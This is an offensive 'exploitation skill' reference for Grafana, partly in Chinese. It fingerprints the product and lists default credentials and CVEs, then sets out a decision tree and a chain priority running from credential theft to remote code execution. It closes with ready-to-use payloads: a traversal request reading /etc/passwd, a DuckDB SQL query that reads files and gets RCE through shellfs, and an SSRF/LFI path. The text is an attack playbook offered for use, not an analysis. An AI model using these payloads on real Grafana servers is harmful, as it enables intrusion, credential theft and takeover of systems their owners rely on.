Grafana Vulnerability Exploitation Skill
- Product: Grafana (open-source analytics and visualization platform) | Default Port: 3000
- Identification: Page title "Grafana",
window.grafanaBootData,FOFA: app="Grafana"
- Default Credentials: admin/admin (forced change on first login)
Vulnerability Overview
| Vulnerability ID |
Affected Versions |
Type |
Authentication |
Impact |
| CVE-2021-43798 |
8.0.0-beta1~8.3.0 |
Directory traversal file read |
Not required |
High (7.5) |
| CVE-2024-9264 |
>=11.0.0 |
DuckDB SQL RCE |
Viewer+ |
Critical (9.9) |
| CVE-2025-4123 |
Multiple versions |
Path traversal SSRF/LFI/XSS |
Not required |
Critical |
| CVE-2020-11110 |
<=6.7.1 |
Snapshot stored XSS |
Not required |
Medium (6.1) |
| CVE-2021-41174 |
Multiple versions |
AngularJS injection XSS |
Not required |
Medium (6.1) |
| CVE-2021-39226 |
Multiple versions |
Snapshot unauthorized access |
Not required |
Medium |
| CVE-2022-32275 |
8.4.3 |
Snapshot file read |
Not required |
High (7.5) |
Exploitation Decision Tree
1. 识别Grafana → /login, /api/health, /api/frontend/settings
2. CVE-2021-43798 (8.x) → /public/plugins/<id>/../../../etc/passwd
3. CVE-2025-4123 (新版) → /public/..%2F%5C<host>%2F%3f%2F..%2F.. → SSRF/LFI
4. 默认凭据 → admin/admin
5. CVE-2024-9264 (>=11.x需认证) → DuckDB SQL → shellfs → RCE
6. XSS类 → Snapshot/AngularJS注入 → Cookie窃取
7. 已认证后利用 → 数据源凭据 / API Key / 用户管理
Exploitation Chain Priority
1. CVE-2021-43798 → 无认证目录穿越 → 读取配置/数据库 → 获取凭据
2. CVE-2025-4123 → 无认证SSRF/LFI → 内网探测/文件读取
3. 默认凭据admin/admin → Viewer/Admin权限
4. CVE-2024-9264 → DuckDB表达式 → 任意文件读取/RCE
5. CVE-2020-11110/CVE-2021-41174 → XSS → Cookie窃取/Session劫持
Payload Quick Reference
# CVE-2021-43798 (无认证文件读取)
GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
有效插件: alertlist, grafana-azure-monitor-datasource, prometheus, mysql, postgres...
# CVE-2024-9264 (需认证RCE)
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100
Body: {"queries":[{"datasource":{"type":"__expr__","uid":"__expr__"},
"expression":"SELECT content FROM read_blob('/etc/passwd')","refId":"B","type":"sql"}]}
RCE: install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('cmd |');
# CVE-2025-4123 (无认证SSRF/LFI)
GET /public/..%2F%5C<target>%2F%3f%2F..%2F..
Detailed Reference Documentation